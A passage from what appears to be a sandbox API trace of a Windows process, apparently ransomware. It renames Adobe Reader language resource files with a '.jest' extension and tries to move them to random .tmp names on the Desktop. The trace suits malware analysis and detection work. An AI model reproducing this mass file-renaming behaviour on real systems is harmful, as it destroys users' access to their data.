lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.819] CoFreeUnusedLibraries () [0150.819] GetTickCount () returned 0x11577a0 [0150.819] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.819] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.819] GetTickCount () returned 0x11577a0 [0150.819] IsWindowVisible (hWnd=0x30268) returned 0 [0150.819] Sleep (dwMilliseconds=0x0) [0150.820] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WJ Sv0Gng85WmUYViZEfEq3PinjrTmO7FKeEN44s9_FA1OCX9YYJvVSjp9hvpNrmKm3f4hQ jYmSGxkU2JMkb1iMw48v-WnYxcZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wj sv0gng85wmuyvizefeq3pinjrtmo7fkeen44s9_fa1ocx9yyjvvsjp9hvpnrmkm3f4hq jymsgxku2jmkb1imw48v-wnyxcz.tmp")) returned 0 [0150.820] GetLastError () returned 0x2 [0150.820] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.821] CoFreeUnusedLibraries () [0150.821] GetTickCount () returned 0x11577a0 [0150.821] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.821] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.821] GetTickCount () returned 0x11577a0 [0150.821] IsWindowVisible (hWnd=0x30268) returned 0 [0150.821] Sleep (dwMilliseconds=0x0) [0150.821] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt.jest")) returned 1 [0150.822] GetLastError () returned 0x0 [0150.822] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹙硴t") returned 0x6b [0150.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.823] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹙硴t") returned 0x6b [0150.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x14cf144, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt") returned 108 [0150.823] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹙硴⹴敪瑳") returned 0x70 [0150.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.823] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹙硴⹴敪瑳") returned 0x70 [0150.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt.jest") returned 113 [0150.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt", lpUsedDefaultChar=0x0) returned 108 [0150.823] VarBstrFromR4 (in: fltIn=0x47945041, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.51") returned 0x0 [0150.824] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.824] CoFreeUnusedLibraries () [0150.824] GetTickCount () returned 0x11577a0 [0150.824] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.824] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.824] GetTickCount () returned 0x11577a0 [0150.824] IsWindowVisible (hWnd=0x30268) returned 0 [0150.824] Sleep (dwMilliseconds=0x0) [0150.825] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gsYnM1IJwdCkZ757G9 GqFCpnM6UL44Pk CVFbTQ76exC_VlXOluwoIuuAoqpy4x0UteRr1S0XH5dFP72rObhDihW79PWL23seZO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gsynm1ijwdckz757g9 gqfcpnm6ul44pk cvfbtq76exc_vlxoluwoiuuaoqpy4x0uterr1s0xh5dfp72robhdihw79pwl23sezo.tmp")) returned 0 [0150.825] GetLastError () returned 0x2 [0150.825] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.826] CoFreeUnusedLibraries () [0150.826] GetTickCount () returned 0x11577a0 [0150.826] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.826] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.826] GetTickCount () returned 0x11577a0 [0150.826] IsWindowVisible (hWnd=0x30268) returned 0 [0150.826] Sleep (dwMilliseconds=0x0) [0150.826] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt.jest")) returned 1 [0150.827] GetLastError () returned 0x0 [0150.827] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹓硴t") returned 0x6b [0150.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.827] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹓硴t") returned 0x6b [0150.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt") returned 108 [0150.828] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹓硴⹴敪瑳") returned 0x70 [0150.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.828] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥啟⹓硴⹴敪瑳") returned 0x70 [0150.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt.jest") returned 113 [0150.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt", lpUsedDefaultChar=0x0) returned 108 [0150.828] VarBstrFromR4 (in: fltIn=0x47945041, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.51") returned 0x0 [0150.829] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.829] CoFreeUnusedLibraries () [0150.829] GetTickCount () returned 0x11577a0 [0150.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.829] GetTickCount () returned 0x11577a0 [0150.829] IsWindowVisible (hWnd=0x30268) returned 0 [0150.829] Sleep (dwMilliseconds=0x0) [0150.830] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VHxmzOXhf3-_veE3m65e7f6 9ZAVM92N4z6S2W5GEofsUxgwTU-Bbywc xlHWAHvCK2 7-9GBWqzIQOeExk6nYCbZiq--3fRVMUC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vhxmzoxhf3-_vee3m65e7f6 9zavm92n4z6s2w5geofsuxgwtu-bbywc xlhwahvck2 7-9gbwqziqoeexk6nycbziq--3frvmuc.tmp")) returned 0 [0150.830] GetLastError () returned 0x2 [0150.831] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.831] CoFreeUnusedLibraries () [0150.831] GetTickCount () returned 0x11577b0 [0150.831] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.831] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.831] GetTickCount () returned 0x11577b0 [0150.831] IsWindowVisible (hWnd=0x30268) returned 0 [0150.831] Sleep (dwMilliseconds=0x0) [0150.831] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt.jest")) returned 1 [0150.832] GetLastError () returned 0x0 [0150.832] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥卟⹖硴t") returned 0x6b [0150.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.833] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥卟⹖硴t") returned 0x6b [0150.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt") returned 108 [0150.833] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥卟⹖硴⹴敪瑳") returned 0x70 [0150.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.833] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥卟⹖硴⹴敪瑳") returned 0x70 [0150.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x1445ffc, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt.jest") returned 113 [0150.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt", lpUsedDefaultChar=0x0) returned 108 [0150.833] VarBstrFromR4 (in: fltIn=0x47945043, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.52") returned 0x0 [0150.834] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.834] CoFreeUnusedLibraries () [0150.834] GetTickCount () returned 0x11577b0 [0150.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.834] GetTickCount () returned 0x11577b0 [0150.834] IsWindowVisible (hWnd=0x30268) returned 0 [0150.834] Sleep (dwMilliseconds=0x0) [0150.835] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\93YBly2ikq xQvUS-YIiFfDVXifZbaN9c2o8X1YDWs1dEY_JbWXuQZ7xp66DWxx8BPAAbzYbp_bL8JehB81ZL8ZF6677ObDuL13.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\93ybly2ikq xqvus-yiiffdvxifzban9c2o8x1ydws1dey_jbwxuqz7xp66dwxx8bpaabzybp_bl8jehb81zl8zf6677obdul13.tmp")) returned 0 [0150.835] GetLastError () returned 0x2 [0150.836] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.836] CoFreeUnusedLibraries () [0150.836] GetTickCount () returned 0x11577b0 [0150.836] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.836] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.836] GetTickCount () returned 0x11577b0 [0150.836] IsWindowVisible (hWnd=0x30268) returned 0 [0150.836] Sleep (dwMilliseconds=0x0) [0150.836] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt.jest")) returned 1 [0150.837] GetLastError () returned 0x0 [0150.837] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹙硴t") returned 0x6b [0150.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.838] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹙硴t") returned 0x6b [0150.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x1445ffc, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt") returned 108 [0150.838] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹙硴⹴敪瑳") returned 0x70 [0150.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.838] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹙硴⹴敪瑳") returned 0x70 [0150.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt.jest") returned 113 [0150.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt", lpUsedDefaultChar=0x0) returned 108 [0150.838] VarBstrFromR4 (in: fltIn=0x47945043, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.52") returned 0x0 [0150.839] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.839] CoFreeUnusedLibraries () [0150.839] GetTickCount () returned 0x11577b0 [0150.839] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.839] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.839] GetTickCount () returned 0x11577b0 [0150.839] IsWindowVisible (hWnd=0x30268) returned 0 [0150.839] Sleep (dwMilliseconds=0x0) [0150.840] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FwG2KVSOcUxyszPIDvJSpV VtzRYrItAd m5NNmCKMsw8guD1FGfLX7wt_qcgR1WTR1_jQ2HU--JMvDUMl8OT pJVEE3t-fKo1q9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fwg2kvsocuxyszpidvjspv vtzryritad m5nnmckmsw8gud1fgflx7wt_qcgr1wtr1_jq2hu--jmvduml8ot pjvee3t-fko1q9.tmp")) returned 0 [0150.840] GetLastError () returned 0x2 [0150.841] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.841] CoFreeUnusedLibraries () [0150.841] GetTickCount () returned 0x11577b0 [0150.841] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.841] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.841] GetTickCount () returned 0x11577b0 [0150.841] IsWindowVisible (hWnd=0x30268) returned 0 [0150.841] Sleep (dwMilliseconds=0x0) [0150.841] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt.jest")) returned 1 [0150.842] GetLastError () returned 0x0 [0150.843] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹒硴t") returned 0x6b [0150.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.843] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹒硴t") returned 0x6b [0150.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt") returned 108 [0150.843] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹒硴⹴敪瑳") returned 0x70 [0150.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.843] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹒硴⹴敪瑳") returned 0x70 [0150.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt.jest") returned 113 [0150.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt", lpUsedDefaultChar=0x0) returned 108 [0150.843] VarBstrFromR4 (in: 